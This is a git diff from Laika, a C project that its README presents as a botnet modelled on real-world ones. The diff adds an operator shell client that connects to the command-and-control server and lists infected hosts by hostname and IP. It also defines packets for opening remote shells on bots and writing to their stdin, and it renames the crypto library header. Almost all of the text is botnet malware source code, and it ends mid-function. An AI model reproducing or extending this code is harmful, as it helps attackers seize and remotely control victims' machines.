diff --git a/.vscode/settings.json b/.vscode/settings.json index cad0dd6..dd9b75e 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -25,7 +25,8 @@ "bit": "c", "limits": "c", "*.in": "cpp", - "lerror.h": "c" + "lerror.h": "c", + "stdbool.h": "c" }, "cSpell.words": [ "cnc's", diff --git a/CMakeLists.txt b/CMakeLists.txt index bfbf7a4..cb67650 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -37,4 +37,4 @@ add_subdirectory(lib) add_subdirectory(tools) add_subdirectory(cnc) add_subdirectory(bot) -add_subdirectory(panel) +add_subdirectory(shell) diff --git a/README.md b/README.md index ed022c0..b34aecd 100644 --- a/README.md +++ b/README.md @@ -9,22 +9,27 @@ Some notable features thus far: - [X] Setting keypairs (`-DLAIKA_PUBKEY=? -DLAIKA_PRIVKEY=?`) - [ ] Obfuscation modes -## Why? - -It's a fun project :) - ## Would this work in real world scenarios? My hope is that this becomes complete enough to be accurate to real botnet sources seen in the wild. However since Laika uses a binary protocol, the traffic the bot/CNC create would look very suspect and scream to sysadmins. This is why most botnets nowadays use an HTTP-based protocol, not only to 'blend in' with traffic, but it also scales well with large networks of bots where the CNC can be deployed across multiple servers and have a generic HTTP load balancer. I could add some padding to each packet to make it look pseudo-HTTP-like, however I haven't given much thought to this. +## Directories explained + +- `/cmake-modules` holds helper functions for finding things like libSodium. +- `/lib` is a shared static library between the client, peer & panel clients. +- `/cnc` is the Command aNd Control server. +- `/bot` is the bot client to be ran on the target machine. +- `/shell` is the main shell to connect to the CNC server with to issue commands. +- `/panel` is a very incomplete & broken ncurses client. ignore for now. +- `/tools` holds tools for generating keypairs, etc. + ## Configuration and compilation Make sure you have the following libraries and tools installed: - CMake (>=3.10) - LibSodium (static library) -- NCurses First, compile the target normally diff --git a/bot/include/bot.h b/bot/include/bot.h index 7d471db..4b17f34 100644 --- a/bot/include/bot.h +++ b/bot/include/bot.h @@ -6,7 +6,7 @@ #include "lsocket.h" #include "lpeer.h" #include "lpolllist.h" -#include "lrsa.h" +#include "lsodium.h" struct sLaika_shell; struct sLaika_bot { diff --git a/bot/src/bot.c b/bot/src/bot.c index 4870f26..a8d4148 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -1,5 +1,5 @@ #include "lmem.h" -#include "lrsa.h" +#include "lsodium.h" #include "lerror.h" #include "bot.h" #include "shell.h" @@ -135,6 +135,7 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) { struct sLaika_pollEvent *evnt; int numEvents; + /* flush any events prior (eg. made by a task) */ laikaB_flushQueue(bot); evnt = laikaP_poll(&bot->pList, timeout, &numEvents); @@ -155,6 +156,7 @@ _BOTKILL: laikaS_kill(&bot->peer->sock); LAIKA_TRYEND + /* flush any events after (eg. made by a packet handler) */ laikaB_flushQueue(bot); return true; } \ No newline at end of file diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index fa97c3f..b045455 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -1,5 +1,5 @@ #include "lmem.h" -#include "lrsa.h" +#include "lsodium.h" #include "lsocket.h" #include "lerror.h" @@ -22,7 +22,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; uint8_t id; - if (sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH) + if (sz <= 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH) LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!") id = laikaS_readByte(&peer->sock); @@ -72,17 +72,6 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v laikaC_onAddPeer(cnc, peer); LAIKA_DEBUG("accepted handshake from peer %lx\n", peer); - - /* shell demo */ - char *demo = "ls -a\n"; - laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN); - laikaS_writeByte(&peer->sock, 0); - laikaS_endOutPacket(peer); - - laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); - laikaS_writeByte(&peer->sock, 0); - laikaS_write(&peer->sock, demo, 6); - laikaS_endVarPacket(peer); } PeerPktHandler laikaC_handlerTbl[LAIKAPKT_MAXNONE] = { @@ -188,11 +177,26 @@ void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { LAIKA_DEBUG("peer %lx killed!\n", peer); } +void laikaC_flushQueue(struct sLaika_cnc *cnc) { + struct sLaika_peer *peer; + int i; + + /* flush pList's outQueue */ + for (i = 0; i < cnc->pList.outCount; i++) { + peer = cnc->pList.outQueue[i]; + LAIKA_DEBUG("sending OUT to %lx\n", peer); + if (!laikaS_handlePeerOut(peer)) + laikaC_killPeer(cnc, peer); + } + laikaP_resetOutQueue(&cnc->pList); +} + bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { struct sLaika_peer *peer; struct sLaika_pollEvent *evnts; int numEvents, i; + laikaC_flushQueue(cnc); evnts = laikaP_poll(&cnc->pList, timeout, &numEvents); /* if we have 0 events, we reached the timeout, let the caller know */ @@ -239,14 +243,6 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { LAIKA_TRYEND } - /* flush pList's outQueue */ - for (i = 0; i < cnc->pList.outCount; i++) { - peer = cnc->pList.outQueue[i]; - LAIKA_DEBUG("sending OUT to %lx\n", peer); - if (!laikaS_handlePeerOut(peer)) - laikaC_killPeer(cnc, peer); - } - laikaP_resetOutQueue(&cnc->pList); - + laikaC_flushQueue(cnc); return true; } \ No newline at end of file diff --git a/lib/include/lerror.h b/lib/include/lerror.h index f4f388d..a5a73d8 100644 --- a/lib/include/lerror.h +++ b/lib/include/lerror.h @@ -33,6 +33,7 @@ #else #define LAIKA_ERROR(...) do { \ printf("[ERROR] : " __VA_ARGS__); \ + getchar(); \ if (LAIKA_ISPROTECTED) \ longjmp(eLaika_errStack[eLaika_errIndx], 1); \ else \ diff --git a/lib/include/lmem.h b/lib/include/lmem.h index 41af48a..57941ff 100644 --- a/lib/include/lmem.h +++ b/lib/include/lmem.h @@ -22,6 +22,14 @@ count -= numElem; \ } +/* moves array elements above indx up by numElem, inserting numElem elements at indx */ +#define laikaM_insertarray(buf, count, indx, numElem) { \ + int _i; \ + for (_i = count; _i > indx; _i--) \ + buf[_i] = buf[_i-1]; \ + count += numElem; \ +} + void *laikaM_realloc(void *buf, size_t sz); #endif \ No newline at end of file diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 0c85f80..963d400 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -55,16 +55,16 @@ enum { */ LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ /* layout of LAIKAPKT_SHELL_OPEN: - * uint8_t id; + * uint8_t shellID; */ LAIKAPKT_SHELL_CLOSE, /* if sent to bot, closes a shell. if sent to cnc, signifies a shell was closed */ /* layout of LAIKAPKT_SHELL_CLOSE: - * uint8_t id; + * uint8_t shellID; */ LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */ /* layout of LAIKAPKT_SHELL_DATA - * uint8_t id; - * char buf[VAR_PACKET_LENGTH] + * uint8_t shellID; + * char buf[VAR_PACKET_LENGTH]; */ /* ==================================================[[ Auth ]]================================================== */ LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */ @@ -83,6 +83,20 @@ enum { * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot * uint8_t peerType; */ + LAIKAPKT_AUTHENTICATED_OPEN_SHELL_REQ, /* panel requesting cnc open a shell on bot */ + /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ + * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + */ + LAIKAPKT_AUTHENTICATED_OPEN_SHELL_RES, /* panel requesting cnc open a shell on bot */ + /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ + * uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot + * uint8_t shellID; -- shell id of shell opened on bot + */ + LAIKAPKT_AUTHENTICATED_SHELL_DATA, /* if sent to cnc, writes data to stdin of shell. if sent to panel, writes to 'stdout' of shell */ + /* layout of LAIKAPKT_SHELL_DATA + * uint8_t shellID; + * char buf[VAR_PACKET_LENGTH]; + */ LAIKAPKT_MAXNONE }; diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index f7c7f75..4eddc2f 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -5,7 +5,7 @@ #include "lsocket.h" #include "lpacket.h" #include "lpolllist.h" -#include "lrsa.h" +#include "lsodium.h" typedef enum { PEER_UNVERIFIED, diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h index 8a3329c..d0f3381 100644 --- a/lib/include/lsocket.h +++ b/lib/include/lsocket.h @@ -51,7 +51,7 @@ #endif #include -#include "lrsa.h" +#include "lsodium.h" typedef enum { RAWSOCK_OK, diff --git a/lib/include/lrsa.h b/lib/include/lsodium.h similarity index 100% rename from lib/include/lrsa.h rename to lib/include/lsodium.h diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index 6666b1e..8b57380 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -3,7 +3,7 @@ #include "lerror.h" #include "lmem.h" #include "lpolllist.h" -#include "lrsa.h" +#include "lsodium.h" #include "lsocket.h" #include "lpacket.h" diff --git a/panel/include/pbot.h b/panel/include/pbot.h index b1a9128..43f74a3 100644 --- a/panel/include/pbot.h +++ b/panel/include/pbot.h @@ -3,7 +3,7 @@ #include "laika.h" #include "lpeer.h" -#include "lrsa.h" +#include "lsodium.h" #include "panel.h" diff --git a/shell/CMakeLists.txt b/shell/CMakeLists.txt new file mode 100644 index 0000000..d68bf1a --- /dev/null +++ b/shell/CMakeLists.txt @@ -0,0 +1,19 @@ +cmake_minimum_required(VERSION 3.10) + +set(SHELL_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) + +project(LaikaShell VERSION 1.0) + +# Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder +set_property(GLOBAL PROPERTY USE_FOLDERS ON) + +# compile LaikaShell +file(GLOB_RECURSE SHELLSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) +add_executable(LaikaShell ${SHELLSOURCE}) +target_link_libraries(LaikaShell PUBLIC LaikaLib) + +# add the 'DEBUG' preprocessor definition if we're compiling as Debug +target_compile_definitions(LaikaShell PUBLIC "$<$:DEBUG>") + +# add include directory +target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR}) diff --git a/shell/include/sclient.h b/shell/include/sclient.h new file mode 100644 index 0000000..a1496b8 --- /dev/null +++ b/shell/include/sclient.h @@ -0,0 +1,33 @@ +#ifndef SHELLCLIENT_H +#define SHELLCLIENT_H + +#include "hashmap.h" +#include "lpeer.h" +#include "lsodium.h" + +#include "speer.h" + +typedef struct sShell_client { + uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; + struct sLaika_pollList pList; + struct sLaika_peer *peer; + struct hashmap *peers; + tShell_peer **peerTbl; + int peerTblCount; + int peerTblCap; +} tShell_client; + +void shellC_init(tShell_client *client); +void shellC_cleanup(tShell_client *client); + +void shellC_connectToCNC(tShell_client *client, char *ip, char *port); +bool shellC_poll(tShell_client *client, int timeout); + +tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id); + +int shellC_addPeer(tShell_client *client, tShell_peer *peer); /* returns new peer id */ +void shellC_rmvPeer(tShell_client *client, tShell_peer *peer, int id); + +void shellC_printInfo(tShell_peer *peer); + +#endif \ No newline at end of file diff --git a/shell/include/scmd.h b/shell/include/scmd.h new file mode 100644 index 0000000..0727a31 --- /dev/null +++ b/shell/include/scmd.h @@ -0,0 +1,23 @@ +#ifndef SHELLCMD_H +#define SHELLCMD_H + +#include + +#include "sclient.h" + +typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]); + +typedef struct sShell_cmdDef { + const char *cmd; + const char *help; + shellCmdCallback callback; +} tShell_cmdDef; + +extern tShell_cmdDef shellS_cmds[]; + +void shellS_initCmds(void); +void shellS_cleanupCmds(void); + +void shellS_runCmd(tShell_client *client, char *cmd); + +#endif \ No newline at end of file diff --git a/shell/include/speer.h b/shell/include/speer.h new file mode 100644 index 0000000..a567286 --- /dev/null +++ b/shell/include/speer.h @@ -0,0 +1,18 @@ +#ifndef SHELLPEER_H +#define SHELLPEER_H + +#include "lsodium.h" +#include "lpeer.h" + +typedef struct sShell_peer { + uint8_t pub[crypto_kx_PUBLICKEYBYTES]; + char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN]; + PEERTYPE type; +} tShell_peer; + +tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pub, char *hostname, char *ipv4); +void shellP_freePeer(tShell_peer *peer); + +char *shellP_typeStr(tShell_peer *peer); + +#endif \ No newline at end of file diff --git a/shell/include/sterm.h b/shell/include/sterm.h new file mode 100644 index 0000000..dfbad84 --- /dev/null +++ b/shell/include/sterm.h @@ -0,0 +1,26 @@ +#ifndef SHELLTERM_H +#define SHELLTERM_H + +#include +#include +#include +#include +#include +#include +#include + +#include "sclient.h" + +void shellT_conioTerm(void); +void shellT_resetTerm(void); +void shellT_printf(const char *format, ...); + +/* waits for input for timeout (in ms). returns true if input is ready to be read, false if no events */ +bool shellT_waitForInput(int timeout); +char shellT_getch(void); +int shellT_kbget(void); +void shellT_printPrompt(void); +void shellT_setPrompt(char *prompt); +void shellT_addChar(tShell_client *client, int c); /* processes input, moving cursor, adding char to cmd, etc. */ + +#endif \ No newline at end of file diff --git a/shell/src/main.c b/shell/src/main.c new file mode 100644 index 0000000..cc22e86 --- /dev/null +++ b/shell/src/main.c @@ -0,0 +1,34 @@ +#include + +#include "sclient.h" +#include "sterm.h" + +int main(int argv, char *argc[]) { + tShell_client client; + bool printPrompt = false; + + shellC_init(&client); + shellC_connectToCNC(&client, "127.0.0.1", "13337"); + + shellT_conioTerm(); + while(laikaS_isAlive((&client.peer->sock))) { + /* poll for 50ms */ + if (!shellC_poll(&client, 50)) { + /* check if we have input! */ + if (shellT_waitForInput(0)) + shellT_addChar(&client, shellT_kbget()); + + /* no prompt shown? show it */ + if (!printPrompt) { + printPrompt = true; + + shellT_printPrompt(); + } + } else { + printPrompt = false; + } + } + + shellC_cleanup(&client); + return 0; +} \ No newline at end of file diff --git a/shell/src/sclient.c b/shell/src/sclient.c new file mode 100644 index 0000000..a77c062 --- /dev/null +++ b/shell/src/sclient.c @@ -0,0 +1,279 @@ +#include "lmem.h" +#include "lerror.h" +#include "lpacket.h" +#include "lsodium.h" +#include "sterm.h" + +#include "sclient.h" + +typedef struct sShell_hashMapElem { + int id; + tShell_peer *peer; + uint8_t *pub; +} tShell_hashMapElem; + +int shellElemCompare(const void *a, const void *b, void *udata) { + const tShell_hashMapElem *ua = a; + const tShell_hashMapElem *ub = b; + + return memcmp(ua->pub, ub->pub, crypto_kx_PUBLICKEYBYTES); +} + +uint64_t shellElemHash(const void *item, uint64_t seed0, uint64_t seed1) { + const tShell_hashMapElem *u = item; + return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */ +} + +void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + uint8_t endianness = laikaS_readByte(&peer->sock); + peer->sock.flipEndian = endianness != laikaS_isBigEndian(); +} + +void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN]; + uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; + tShell_client *client = (tShell_client*)uData; + tShell_peer *bot; + uint8_t type; + + /* read newly connected peer's pubKey */ + laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); + + /* read hostname & ipv4 */ + laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN); + laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN); + + /* read peer's peerType */ + type = laikaS_readByte(&peer->sock); + + /* ignore panel clients */ + if (type == PEER_PANEL) + return; + + /* create peer */ + bot = shellP_newPeer(type, pubKey, hostname, ipv4); + + /* add peer to client */ + shellC_addPeer(client, bot); +} + +void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; + tShell_client *client = (tShell_client*)uData; + tShell_peer *bot; + uint8_t type; + int id; + + /* read public key & type */ + laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES); + type = laikaS_readByte(&peer->sock); + + /* ignore panel clients */ + if (type == PEER_PANEL) + return; + + if ((bot = shellC_getPeerByPub(client, pubKey, &id)) == NULL) + LAIKA_ERROR("LAIKAPKT_AUTHENTICATED_RMV_PEER_RES: Unknown peer!\n") + + /* remove peer */ + shellC_rmvPeer(client, bot, id); +} + +LAIKAPKT_SIZE shellC_pktSizeTbl[LAIKAPKT_MAXNONE] = { + [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t), + [LAIKAPKT_AUTHENTICATED_ADD_PEER_RES] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t) + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, /* pubkey + peerType + host + ip */ + [LAIKAPKT_AUTHENTICATED_RMV_PEER_RES] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */ +}; + +PeerPktHandler shellC_handlerTbl[LAIKAPKT_MAXNONE] = { + [LAIKAPKT_HANDSHAKE_RES] = shellC_handleHandshakeRes, + [LAIKAPKT_AUTHENTICATED_ADD_PEER_RES] = shellC_handleAddPeer, + [LAIKAPKT_AUTHENTICATED_RMV_PEER_RES] = shellC_handleRmvPeer, +}; + +void shellC_init(tShell_client *client) { + size_t _unused; + + laikaP_initPList(&client->pList); + client->peer = laikaS_newPeer( + shellC_handlerTbl, + shellC_pktSizeTbl, + &client->pList, + (void*)client + ); + + client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shellElemHash, shellElemCompare, NULL, NULL); + client->peerTbl = NULL; + client->peerTblCap = 4; + client->peerTblCount = 0; + + /* load authenticated keypair */ + if (sodium_init() < 0) { + shellC_cleanup(client); + LAIKA_ERROR("LibSodium failed to initialize!\n"); + } + + if (sodium_hex2bin(client->pub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { + shellC_cleanup(client); + LAIKA_ERROR("Failed to init public key!\n"); + } + + if (sodium_hex2bin(client->priv, crypto_kx_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) { + shellC_cleanup(client); + LAIKA_ERROR("Failed to init private key!\n"); + } + + /* read cnc's public key into peerPub */ + if (sodium_hex2bin(client->peer->peerPub, crypto_kx_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { + shellC_cleanup(client); + LAIKA_ERROR("Failed to init cnc public key!\n"); + } +} + +void shellC_cleanup(tShell_client *client) { + int i; + + laikaS_freePeer(client->peer); + laikaP_cleanPList(&client->pList); + hashmap_free(client->peers); + + /* free peers */ + for (i = 0; i < client->peerTblCount; i++) { + if (client->peerTbl[i]) + shellP_freePeer(client->peerTbl[i]); + } + laikaM_free(client->peerTbl); +} + +void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { + struct sLaika_socket *sock = &client->peer->sock; + + /* create encryption keys */ + if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0) + LAIKA_ERROR("failed to gen session key!\n") + + /* setup socket */ + laikaS_connect(sock, ip, port); + laikaS_setNonBlock(sock); + laikaP_addSock(&client->pList, sock); + + /* queue handshake request */ + laikaS_startOutPacket(client->peer, LAIKAPKT_HANDSHAKE_REQ); + laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN); + laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); + laikaS_writeByte(sock, LAIKA_VERSION_MINOR); + laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */ + + /* write stub hostname & ipv4 (since we're a panel/dummy client, cnc doesn't need this information really) */ + laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN); + laikaS_zeroWrite(sock, LAIKA_IPV4_LEN); + laikaS_endOutPacket(client->peer); + laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */ + + /* queue authenticated handshake request */ + laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ); + laikaS_writeByte(sock, PEER_PANEL); + laikaS_endOutPacket(client->peer); + + /* the handshake requests will be sent on the next call to shellC_poll */ +} + +void shellC_flushQueue(tShell_client *client) { + /* flush pList's outQueue */ + if (client->pList.outCount > 0) { + if (!laikaS_handlePeerOut(client->peer)) + laikaS_kill(&client->peer->sock); + + laikaP_resetOutQueue(&client->pList); + } +} + +bool shellC_poll(tShell_client *client, int timeout) { + struct sLaika_pollEvent *evnt; + int numEvents; + + /* flush any events prior (eg. made by a command handler) */ + shellC_flushQueue(client); + evnt = laikaP_poll(&client->pList, timeout, &numEvents); + + if (numEvents == 0) /* no events? timeout was reached */ + return false; + +LAIKA_TRY + if (evnt->pollIn && !laikaS_handlePeerIn(client->peer)) + goto _CLIENTKILL; + + if (evnt->pollOut && !laikaS_handlePeerOut(client->peer)) + goto _CLIENTKILL; + + if (!evnt->pollIn && !evnt->pollOut) /* not a pollin or pollout event, must be an error */ + goto _CLIENTKILL; +LAIKA_CATCH +_CLIENTKILL: + laikaS_kill(&client->peer->sock); +LAIKA_TRYEND + + /* flush any events after (eg. made by a packet handler) */ + shellC_flushQueue(client); + return true; +} + +tShell_peer *shellC_getPeerByPub(tShell_client *client, uint8_t *pub, int *id) { + tShell_hashMapElem *elem = (tShell_hashMapElem*)hashmap_get(client->peers, &(tShell_hashMapElem){.pub = pub}); + + /* return peer if elem was found, otherwise return NULL */ + if (elem) { + *id = elem->id; + return elem->peer; + } else { + *id = -1; + return NULL; + } +} + +int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) { + /* find empty ID */ + int id; + for (id = 0; id < client->peerTblCount; id++) { + if (client->peerTbl[id] == NULL) /* it's empty! */ + break; + } + + /* if we didn't find an empty id, grow the array */ + if (id == client->peerTblCount) { + laikaM_growarray(tShell_peer*, client->peerTbl, 1, client->peerTblCount, client->peerTblCap); + client->peerTblCount++; + } + + /* add to peer lookup table */ + client->peerTbl[id] = newPeer; + + /* insert into hashmap */ + hashmap_set(client->peers, &(tShell_hashMapElem){.id = id, .pub = newPeer->pub, .peer = newPeer}); + + /* let user know */ + shellT_printf("\nNew peer connected to CNC:\n"); + shellC_printInfo(newPeer); + return id; +} + +void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) { + /* remove from bot tbl */ + client->peerTbl[id] = NULL; + + /* remove peer from hashmap */ + hashmap_delete(client->peers, &(tShell_hashMapElem){.pub = oldPeer->pub, .peer = oldPeer}); + + shellT_printf("\nPeer disconnected from CNC:\n"); + shellC_printInfo(oldPeer); + + /* finally, free peer */ + shellP_freePeer(oldPeer); +} + +void shellC_printInfo(tShell_peer *peer) { + char buf[128]; + + sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES); + shellT_printf("\t%s@%s\n\tTYPE: %s\n\tPUBKEY: %s\n", peer->hostname, peer->ipv4, shellP_typeStr(peer), buf); +} \ No newline at end of file diff --git a/shell/src/scmd.c b/shell/src/scmd.c new file mode 100644 index 0000000..30b1f0b --- /dev/null +++ b/shell/src/scmd.c @@ -0,0 +1,99 @@ +#include "lmem.h" +#include "sclient.h" +#include "speer.h" +#include "scmd.h" +#include "sterm.h" + +void helpCMD(tShell_client *client, int args, char *argc[]); + +void listPeers(tShell_client *client, int args, char *argc[]) { + int i; + + shellT_printf("\n"); + for (i = 0; i < client->peerTblCount; i++) { + if (client->peerTbl[i]) { + shellT_printf("\n%04d ", i); + shellC_printInfo(client->peerTbl[i]); + } + } + shellT_printf("\n"); +} + +#define CREATECMD(_cmd, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .help = _help, .callback = _callback}) + +tShell_cmdDef shellS_cmds[] = { + CREATECMD("help", "Lists avaliable commands", helpCMD), + CREATECMD("list", "Lists all connected peers to CNC", listPeers), +}; + +#undef CREATECMD + +void helpCMD(tShell_client *client, int args, char *argc[]) { + int i; + + shellT_printf("\n\n=== [[ Command List ]] ===\n\n"); + for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) { + shellT_printf("%04d '%s'\t- %s\n", i, shellS_cmds[i].cmd, shellS_cmds[i].help); + } + shellT_printf("\n"); +} + +tShell_cmdDef *shellS_findCmd(char *cmd) { + int i; + + /* TODO: make a hashmap for command lookup */ + for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) { + if (strcmp(shellS_cmds[i].cmd, cmd) == 0) + return &shellS_cmds[i]; /* cmd found */ + } + + return NULL; +} + +void shellS_initCmds(void) { + /* stubbed for now, TODO: setup command hashmap */ +} + +void shellS_cleanupCmds(void) { + /* stubbed for now, TODO: free command hashmap */ +} + +char **shellS_splitCmd(char *cmd, int *argSize) { + int argCount = 0; + int argCap = 4; + char **args = NULL; + char *arg = cmd; + + do { + /* replace space with NULL terminator */ + if (arg != cmd) + *arg++ = '\0'; + + /* insert into our 'args' array */ + laikaM_growarray(char*, args, 1, argCount, argCap); + args[argCount++] = arg; + } while ((arg = strchr(arg, ' ')) != NULL); /* while we still have a delimiter */ + + *argSize = argCount; + return args; +} + +void shellS_runCmd(tShell_client *client, char *cmd) { + tShell_cmdDef *cmdDef; + char **argc; + int args; + + argc = shellS_splitCmd(cmd, &args); + + /* find cmd */ + if ((cmdDef = shellS_findCmd(argc[0])) == NULL) { + shellT_printf("\nUnknown command '%s'!\n\n", cmd); + return; + } + + /* run command */ + cmdDef->callback(client, args, argc); + + /* free our argument buffer */ + laikaM_free(argc); +} diff --git a/shell/src/speer.c b/shell/src/speer.c new file mode 100644 index 0000000..e0141d4 --- /dev/null +++ b/shell/src/speer.c @@ -0,0 +1,34 @@ +#include "lmem.h" +#include "lpacket.h" +#include "speer.h" + +tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pubKey, char *hostname, char *ipv4) { + tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer)); + peer->type = type; + + /* copy pubKey to peer's pubKey */ + memcpy(peer->pub, pubKey, crypto_kx_PUBLICKEYBYTES); + + /* copy hostname & ipv4 */ + memcpy(peer->hostname, hostname, LAIKA_HOSTNAME_LEN); + memcpy(peer->ipv4, ipv4, LAIKA_IPV4_LEN); + + /* restore NULL terminators */ + peer->hostname[LAIKA_HOSTNAME_LEN-1] = 0; + peer->ipv4[LAIKA_IPV4_LEN-1] = 0; + + return peer; +} + +void shellP_freePeer(tShell_peer *peer) { + laikaM_free(peer); +} + +char *shellP_typeStr(tShell_peer *peer) { + switch (peer->type) { + case PEER_BOT: return "Bot"; + case PEER_CNC: return "CNC"; + case PEER_PANEL: return "Auth"; + default: return "err"; + } +} \ No newline at end of file diff --git a/shell/src/sterm.c b/shell/src/sterm.c new file mode 100644 index 0000000..8eb5b4f --- /dev/null +++ b/shell/src/sterm.c @@ -0,0 +1,176 @@ +#include "lmem.h" +#include "scmd.h" +#include "sterm.h" + +#define KEY_ESCAPE 0x001b +#define KEY_ENTER 0x000a +#define KEY_BACKSPACE 0x007f +#define KEY_UP 0x0105 +#define KEY_DOWN 0x0106 +#define KEY_LEFT 0x0107 +#define KEY_RIGHT 0x0108 + +#define cursorForward(x) printf("\033[%dC", (x)) +#define cursorBackward(x) printf("\033[%dD", (x)) +#define clearLine() printf("\033[2K") + +struct termios orig_termios; +char *cmd, *prompt = "$> "; +int cmdCount = 0, cmdCap = 4, cmdCursor = 0; + +void shellT_conioTerm(void) { + struct termios new_termios; + + /* take two copies - one for now, one for later */ + tcgetattr(0, &orig_termios); + memcpy(&new_termios, &orig_termios, sizeof(new_termios)); + + /* register cleanup handler, and set the new terminal mode */ + atexit(shellT_resetTerm); + new_termios.c_lflag &= ~(ICANON | ECHO); + tcsetattr(STDIN_FILENO, TCSANOW, &new_termios); +} + +void shellT_resetTerm(void) { + tcsetattr(STDIN_FILENO, TCSANOW, &orig_termios); +} + +void shellT_printf(const char *format, ...) { + va_list args; + va_list args2; + char *buf; + int sz, i; + + /* TODO: this is pretty hacky & ugly. find another way without using the heap? */ + va_start(args, format); + va_copy(args2, args); + sz = vsnprintf(NULL, 0, format, args); + buf = laikaM_malloc(sz+1); + vsnprintf(buf, sz+1, format, args2); + va_end(args); + va_end(args2); + + /* convert output */ + for (i = 0; i <= sz; i++) { + switch (buf[i]) { + case '\n': putchar('\n'); putchar('\r'); break; + default: putchar(buf[i]); break; + } + } + + laikaM_free(buf); + fflush(stdout); +} + +/* waits for input for timeout. returns true if input is ready to be read, false if no events */ +bool shellT_waitForInput(int timeout) { + struct timeval tv; + fd_set fds; + + /* setup stdin file descriptor */ + FD_ZERO(&fds); + FD_SET(STDIN_FILENO, &fds); + + /* wait for read events on STDIN_FILENO for timeout period */ + tv.tv_sec = timeout / 1000; + 